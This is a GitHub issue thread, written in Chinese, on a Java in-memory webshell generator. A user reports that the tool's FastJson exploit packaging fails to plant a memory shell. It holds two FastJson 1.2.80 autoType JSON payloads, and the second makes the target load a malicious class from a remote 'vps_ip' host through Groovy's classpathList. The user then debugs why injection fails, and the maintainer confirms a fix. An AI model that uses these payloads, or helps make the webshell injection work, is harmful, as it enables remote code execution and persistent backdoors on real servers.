pen4uin / java-memshell-generator

一款支持自定义的 Java 内存马生成工具|A customizable Java in-memory webshell generation tool.
1.66k stars 186 forks source link

[Bug] FastJson专项漏洞封装似乎有问题 #12

Closed shellfeel closed 1 year ago

shellfeel commented 1 year ago

环境: jdk:1.8.0.261 org.codehaus.groovy: 3.0.7 springboot: 2.7.8 fastjson: 1.2.80

描述: 使用大佬的项目生成jar包放到vps或者解压后使用classpath供靶机加载 分别发送两次payload:

{"@type": "java.lang.Exception",
  "@type": "org.codehaus.groovy.control.CompilationFailedException",
  "unit": {}
}
{"@type": "org.codehaus.groovy.control.ProcessingUnit",
  "@type": "org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
  "config":
  {
    "@type": "org.codehaus.groovy.control.CompilerConfiguration",
  "classpathList": "http://vps_ip"
  }
}

结果请求都是成功但内存马却注入失败

image

调试半天发现是 ASTTransformationVisitor对远程的恶意类注解有判断,如果不是GroovyASTTransformation则不会调用 image 反编译工具生成的代码发现确实注解不满足要求: image

工具生成方式:

image

帮忙看看啥问题

pen4uin commented 1 year ago

感谢反馈,已复现问题并完成修复,预计下个版本更新。